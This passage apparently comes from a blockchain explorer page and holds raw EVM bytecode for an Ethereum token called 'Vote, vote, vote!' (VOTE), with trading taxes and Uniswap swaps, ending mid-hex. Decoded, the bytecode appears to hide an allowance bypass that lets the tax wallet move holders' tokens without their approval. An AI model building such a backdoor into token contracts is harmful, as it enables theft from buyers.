575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561167957601060159054906101000a900460ff16611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90612a1a565b60405180910390fd5b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361139a576113976064611389600a54600954106113765760085461137a565b6006545b85611a5f90919063ffffffff16565b611ad690919063ffffffff16565b90505b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114435750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561149a576114976064611489600a5460095f81548092919061146590612a38565b91905055106114765760075461147a565b6005545b85611a5f90919063ffffffff16565b611ad690919063ffffffff16565b90505b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461154757600d54826114fb85610868565b6115059190612a7f565b1115611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90612b22565b60405180910390fd5b5b601060149054906101000a900460ff161580156115b0575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156115c85750601060159054906101000a900460ff165b1561167857600c546115d930610868565b1115611605576116046115ff6115ee30610868565b6115fa600e5486611b1f565b611b1f565b611b9b565b5b5f4790505f811061167657600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611674573d5f803e3d5ffd5b505b505b5b5f811115611778576116d18160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e0f90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176f9190612082565b60405180910390a35b6117c88260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e6c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061186b61181f8284611e6c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e0f90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61190e8486611e6c90919063ffffffff16565b60405161191b9190612082565b60405180910390a350505050565b5f808214806119385750600182145b156119935783831115611980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197790612bb0565b60405180910390fd5b828461198c9190612bce565b9050611997565b5f90505b9392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611a6f575f9050611ad0565b5f8284611a7c919061238f565b9050828482611a8b9190612463565b14611acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac290612c71565b60405180910390fd5b809150505b92915050565b5f611b1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e80565b905092915050565b5f600260045f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818311611b915782611b93565b815b905092915050565b6001601060146101000a81548160ff0219169083151502179055505f810315611df2575f600267ffffffffffffffff811115611bda57611bd9612c8f565b5b604051908082528060200260200182016040528015611c085781602001602082028036833780820191505090505b50905030815f81518110611c1f57611c1e612cbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cc3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ce791906123e4565b81600181518110611cfb57611cfa612cbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d6130600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eb5565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dc3959493929190612da0565b5f604051808303815f87803b158015611dda575f80fd5b505af1158015611dec573d5f803e3d5ffd5b50505050505b5f601060146101000a81548160ff02191690831515021790555050565b5f808284611e1d9190612a7f565b905083811015611e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5990612e42565b60405180910390fd5b8091505092915050565b5f611e7883835f611929565b905092915050565b5f8083118290611ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebd9190611f51565b60405180910390fd5b505f8385611ed49190612463565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f2382611ee1565b611f2d8185611eeb565b9350611f3d818560208601611efb565b611f4681611f09565b840191505092915050565b5f6020820190508181035f830152611f698184611f19565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f9e82611f75565b9050919050565b611fae81611f94565b8114611fb8575f80fd5b50565b5f81359050611fc981611fa5565b92915050565b5f819050919050565b611fe181611fcf565b8114611feb575f80fd5b50565b5f81359050611ffc81611fd8565b92915050565b5f806040838503121561201857612017611f71565b5b5f61202585828601611fbb565b925050602061203685828601611fee565b9150509250929050565b5f8115159050919050565b61205481612040565b82525050565b5f60208201905061206d5f83018461204b565b92915050565b61207c81611fcf565b82525050565b5f6020820190506120955f830184612073565b92915050565b5f805f606084860312156120b2576120b1611f71565b5b5f6120bf86828701611fbb565b93505060206120d086828701611fbb565b92505060406120e186828701611fee565b9150509250925092565b5f6120f582611f75565b9050919050565b612105816120eb565b82525050565b5f60208201905061211e5f8301846120fc565b92915050565b5f60ff82169050919050565b61213981612124565b82525050565b5f6020820190506121525f830184612130565b92915050565b5f6020828403121561216d5761216c611f71565b5b5f61217a84828501611fbb565b91505092915050565b61218c81611f94565b82525050565b5f6020820190506121a55f830184612183565b92915050565b5f80604083850312156121c1576121c0611f71565b5b5f6121ce85828601611fbb565b92505060206121df85828601611fbb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561226b57808604811115612247576122466121e9565b5b60018516156122565780820291505b808102905061226485612216565b945061222b565b94509492505050565b5f82612283576001905061233e565b81612290575f905061233e565b81600181146122a657600281146122b0576122df565b600191505061233e565b60ff8411156122c2576122c16121e9565b5b8360020a9150848211156122d9576122d86121e9565b5b5061233e565b5060208310610133831016604e8410600b84101617156123145782820a90508381111561230f5761230e6121e9565b5b61233e565b6123218484846001612222565b92509050818404811115612338576123376121e9565b5b81810290505b9392505050565b5f61234f82611fcf565b915061235a83612124565b92506123877fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612274565b905092915050565b5f61239982611fcf565b91506123a483611fcf565b92508282026123b281611fcf565b915082820484148315176123c9576123c86121e9565b5b5092915050565b5f815190506123de81611fa5565b92915050565b5f602082840312156123f9576123f8611f71565b5b5f612406848285016123d0565b91505092915050565b5f6040820190506124225f830185612183565b61242f6020830184612183565b9392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61246d82611fcf565b915061247883611fcf565b92508261248857612487612436565b5b828204905092915050565b5f819050919050565b5f819050919050565b5f6124bf6124ba6124b584612493565b61249c565b611fcf565b9050919050565b6124cf816124a5565b82525050565b5f60c0820190506124e85f830189612183565b6124f56020830188612073565b61250260408301876124c6565b61250f60608301866124c6565b61251c6080830185612183565b61252960a0830184612073565b979650505050505050565b5f8151905061254281611fd8565b92915050565b5f805f6060848603121561255f5761255e611f71565b5b5f61256c86828701612534565b935050602061257d86828701612534565b925050604061258e86828701612534565b9150509250925092565b5f6040820190506125ab5f830185612183565b6125b86020830184612073565b9392505050565b6125c881612040565b81146125d2575f80fd5b50565b5f815190506125e3816125bf565b92915050565b5f602082840312156125fe576125fd611f71565b5b5f61260b848285016125d5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61266e602683611eeb565b915061267982612614565b604082019050919050565b5f6020820190508181035f83015261269b81612662565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6126fc602483611eeb565b9150612707826126a2565b604082019050919050565b5f6020820190508181035f830152612729816126f0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61278a602283611eeb565b915061279582612730565b604082019050919050565b5f6020820190508181035f8301526127b78161277e565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6127f2602083611eeb565b91506127fd826127be565b602082019050919050565b5f6020820190508181035f83015261281f816127e6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612880602583611eeb565b915061288b82612826565b604082019050919050565b5f6020820190508181035f8301526128ad81612874565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61290e602383611eeb565b9150612919826128b4565b604082019050919050565b5f6020820190508181035f83015261293b81612902565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61299c602983611eeb565b91506129a782612942565b604082019050919050565b5f6020820190508181035f8301526129c981612990565b9050919050565b7f6e6f7420737461727465642079657400000000000000000000000000000000005f82015250565b5f612a04600f83611eeb565b9150612a0f826129d0565b602082019050919050565b5f6020820190508181035f830152612a31816129f8565b9050919050565b5f612a4282611fcf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a7457612a736121e9565b5b600182019050919050565b5f612a8982611fcf565b9150612a9483611fcf565b9250828201905080821115612aac57612aab6121e9565b5b92915050565b7f4578636565647320746865205f6d61784163636f756e7453697a65416d6f756e5f8201527f742e000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b0c602283611eeb565b9150612b1782612ab2565b604082019050919050565b5f6020820190508181035f830152612b3981612b00565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f612b9a602883611eeb565b9150612ba582612b40565b604082019050919050565b5f6020820190508181035f830152612bc781612b8e565b9050919050565b5f612bd882611fcf565b9150612be383611fcf565b9250828203905081811115612bfb57612bfa6121e9565b5b92915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612c5b602183611eeb565b9150612c6682612c01565b604082019050919050565b5f6020820190508181035f830152612c8881612c4f565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612d1b81611f94565b82525050565b5f612d2c8383612d12565b60208301905092915050565b5f602082019050919050565b5f612d4e82612ce9565b612d588185612cf3565b9350612d6383612d03565b805f5b83811015612d93578151612d7a8882612d21565b9750612d8583612d38565b925050600181019050612d66565b5085935050505092915050565b5f60a082019050612db35f830188612073565b612dc060208301876124c6565b8181036040830152612dd28186612d44565b9050612de16060830185612183565b612dee6080830184612073565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612e2c601b83611eeb565b9150612e3782612df8565b602082019050919050565b5f6020820190508181035f830152612e5981612e20565b905091905056fea26469706673582212202228e772bb279a345bb249dbd8c06e991a199682f81e16707e074a139c4967f464736f6c634300081a0033

Deployed Bytecode

0x60806040526004361061019f575f3560e01c806370a08231116100eb5780638da5cb5b11610089578063cbbd7c4e11610063578063cbbd7c4e1461057a578063dd62ed3e146105a4578063e0bf7fd1146105e0578063f2fde38b1461061c576101a6565b80638da5cb5b146104ea57806395d89b4114610514578063a9059cbb1461053e576101a6565b80637ca5bd68116100c55780637ca5bd681461045657806385399f871461048057806389a565b9146104aa5780638a8c523c146104d4576101a6565b806370a08231146103ee578063715018a61461042a578063751039fc14610440576101a6565b806326ce0e0011610158578063347f1f4411610132578063347f1f44146103345780636e446d2c1461035e5780636f9f15a2146103885780636fd50aad146103c4576101a6565b806326ce0e00146102b657806330c45ada146102e0578063313ce5671461030a576101a6565b806306fdde03146101aa578063095ea7b3146101d457806310f6f5df1461021057806318160ddd1461023a57806320800a001461026457806323b872dd1461027a576101a6565b366101a657005b5f80fd5b3480156101b5575f80fd5b506101be610644565b6040516101cb9190611f51565b60405180910390f35b3480156101df575f80fd5b506101fa60048036038101906101f59190612002565b610681565b604051610207919061205a565b60405180910390f35b34801561021b575f80fd5b5061022461069e565b6040516102319190612082565b60405180910390f35b348015610245575f80fd5b5061024e6106a4565b60405161025b9190612082565b60405180910390f35b34801561026f575f80fd5b506102786106c7565b005b348015610285575f80fd5b506102a0600480360381019061029b919061209b565b610715565b6040516102ad919061205a565b60405180910390f35b3480156102c1575f80fd5b506102ca61080e565b6040516102d79190612082565b60405180910390f35b3480156102eb575f80fd5b506102f4610814565b604051610301919061210b565b60405180910390f35b348015610315575f80fd5b5061031e610839565b60405161032b919061213f565b60405180910390f35b34801561033f575f80fd5b50610348610841565b6040516103559190612082565b60405180910390f35b348015610369575f80fd5b50610372610847565b60405161037f9190612082565b60405180910390f35b348015610393575f80fd5b506103ae60048036038101906103a99190612158565b61084d565b6040516103bb9190612082565b60405180910390f35b3480156103cf575f80fd5b506103d8610862565b6040516103e59190612082565b60405180910390f35b3480156103f9575f80fd5b50610414600480360381019061040f9190612158565b610868565b6040516104219190612082565b60405180910390f35b348015610435575f80fd5b5061043e6108ae565b005b34801561044b575f80fd5b506104546108c1565b005b348015610461575f80fd5b5061046a6108ee565b6040516104779190612082565b60405180910390f35b34801561048b575f80fd5b506104946108f4565b6040516104a19190612082565b60405180910390f35b3480156104b5575f80fd5b506104be6108fa565b6040516104cb9190612082565b60405180910390f35b3480156104df575f80fd5b506104e8610900565b005b3480156104f5575f80fd5b506104fe610d06565b60405161050b9190612192565b60405180910390f35b34801561051f575f80fd5b50610528610d2d565b6040516105359190611f51565b60405180910390f35b348015610549575f80fd5b50610564600480360381019061055f9190612002565b610d6a565b604051610571919061205a565b60405180910390f35b348015610585575f80fd5b5061058e610d87565b60405161059b9190612082565b60405180910390f35b3480156105af575f80fd5b506105ca60048036038101906105c591906121ab565b610d8d565b6040516105d79190612082565b60405180910390f35b3480156105eb575f80fd5b5061060660048036038101906106019190612158565b610e0f565b604051610613919061205a565b60405180910390f35b348015610627575f80fd5b50610642600480360381019061063d9190612158565b610e2c565b005b60606040518060400160405280601181526020017f566f74652c20766f74652c20766f746521000000000000000000000000000000815250905090565b5f61069461068d610eae565b8484610eb5565b6001905092915050565b600e5481565b5f6009600a6106b39190612345565b633b9aca006106c2919061238f565b905090565b6106cf611078565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610712573d5f803e3d5ffd5b50565b5f6107218484846110f6565b6108038461072d610eae565b6107fe8560045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107b5610eae565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546119299092919063ffffffff16565b610eb5565b600190509392505050565b60055481565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6009905090565b60075481565b60095481565b6004602052805f5260405f205f915090505481565b60065481565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108b6611078565b6108bf5f61199e565b565b6108c9611078565b6009600a6108d79190612345565b633b9aca006108e6919061238f565b600d81905550565b600d5481565b60085481565b600a5481565b610908611078565b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610969573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098d91906123e4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1691906123e4565b6040518363ffffffff1660e01b8152600401610a3392919061240f565b6020604051808303815f875af1158015610a4f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7391906123e4565b60105f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b3a30600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610b269190612345565b633b9aca00610b35919061238f565b610eb5565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306064610b8430610868565b6062610b90919061238f565b610b9a9190612463565b5f80610ba4610d06565b426040518863ffffffff1660e01b8152600401610bc6969594939291906124d5565b60606040518083038185885af1158015610be2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c079190612548565b50505060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca7929190612598565b6020604051808303815f875af1158015610cc3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ce791906125e9565b506001601060156101000a81548160ff02191690831515021790555050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f564f544500000000000000000000000000000000000000000000000000000000815250905090565b5f610d7d610d76610eae565b84846110f6565b6001905092915050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b6003602052805f5260405f205f915054906101000a900460ff1681565b610e34611078565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ea2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9990612684565b60405180910390fd5b610eab8161199e565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1a90612712565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f88906127a0565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161106b9190612082565b60405180910390a3505050565b611080610eae565b73ffffffffffffffffffffffffffffffffffffffff1661109e610d06565b73ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90612808565b60405180910390fd5b565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611164576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115b90612896565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c990612924565b60405180910390fd5b5f8111611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120b906129b2565b60405180910390fd5b5f60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112b3575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561167957601060159054906101000a900460ff16611307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fe90612a1a565b60405180910390fd5b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361139a576113976064611389600a54600954106113765760085461137a565b6006545b85611a5f90919063ffffffff16565b611ad690919063ffffffff16565b90505b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114435750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561149a576114976064611489600a5460095f81548092919061146590612a38565b91905055106114765760075461147a565b6005545b85611a5f90919063ffffffff16565b611ad690919063ffffffff16565b90505b60105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461154757600d54826114fb85610868565b6115059190612a7f565b1115611546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153d90612b22565b60405180910390fd5b5b601060149054906101000a900460ff161580156115b0575060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156115c85750601060159054906101000a900460ff165b1561167857600c546115d930610868565b1115611605576116046115ff6115ee30610868565b6115fa600e5486611b1f565b611b1f565b611b9b565b5b5f4790505f811061167657600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015611674573d5f803e3d5ffd5b505b505b5b5f811115611778576116d18160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e0f90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161176f9190612082565b60405180910390a35b6117c88260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e6c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061186b61181f8284611e6c90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e0f90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61190e8486611e6c90919063ffffffff16565b60405161191b9190612082565b60405180910390a350505050565b5f808214806119385750600182145b156119935783831115611980576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197790612bb0565b60405180910390fd5b828461198c9190612bce565b9050611997565b5f90505b9392505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f808303611a6f575f9050611ad0565b5f8284611a7c919061238f565b9050828482611a8b9190612463565b14611acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac290612c71565b60405180910390fd5b809150505b92915050565b5f611b1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e80565b905092915050565b5f600260045f600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550818311611b915782611b93565b815b905092915050565b6001601060146101000a81548160ff0219169083151502179055505f810315611df2575f600267ffffffffffffffff811115611bda57611bd9612c8f565b5b604051908082528060200260200182016040528015611c085781602001602082028036833780820191505090505b50905030815f81518110611c1f57611c1e612cbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611cc3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ce791906123e4565b81600181518110611cfb57611cfa612cbc565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d6130600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eb5565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611dc3959493929190612da0565b5f604051808303815f87803b158015611dda575f80fd5b505af1158015611dec573d5f803e3d5ffd5b50505050505b5f601060146101000a81548160ff02191690831515021790555050565b5f808284611e1d9190612a7f565b905083811015611e62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5990612e42565b60405180910390fd5b8091505092915050565b5f611e7883835f611929565b905092915050565b5f8083118290611ec6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebd9190611f51565b60405180910390fd5b505f8385611ed49190612463565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f611f2382611ee1565b611f2d8185611eeb565b9350611f3d818560208601611efb565b611f4681611f09565b840191505092915050565b5f6020820190508181035f830152611f698184611f19565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f9e82611f75565b9050919050565b611fae81611f94565b8114611fb8575f80fd5b50565b5f81359050611fc981611fa5565b92915050565b5f819050919050565b611fe181611fcf565b8114611feb575f80fd5b50565b5f81359050611ffc81611fd8565b92915050565b5f806040838503121561201857612017611f71565b5b5f61202585828601611fbb565b925050602061203685828601611fee565b9150509250929050565b5f8115159050919050565b61205481612040565b82525050565b5f60208201905061206d5f83018461204b565b92915050565b61207c81611fcf565b82525050565b5f6020820190506120955f830184612073565b92915050565b5f805f606084860312156120b2576120b1611f71565b5b5f6120bf86828701611fbb565b93505060206120d086828701611fbb565b92505060406120e186828701611fee565b9150509250925092565b5f6120f582611f75565b9050919050565b612105816120eb565b82525050565b5f60208201905061211e5f8301846120fc565b92915050565b5f60ff82169050919050565b61213981612124565b82525050565b5f6020820190506121525f830184612130565b92915050565b5f6020828403121561216d5761216c611f71565b5b5f61217a84828501611fbb565b91505092915050565b61218c81611f94565b82525050565b5f6020820190506121a55f830184612183565b92915050565b5f80604083850312156121c1576121c0611f71565b5b5f6121ce85828601611fbb565b92505060206121df85828601611fbb565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561226b57808604811115612247576122466121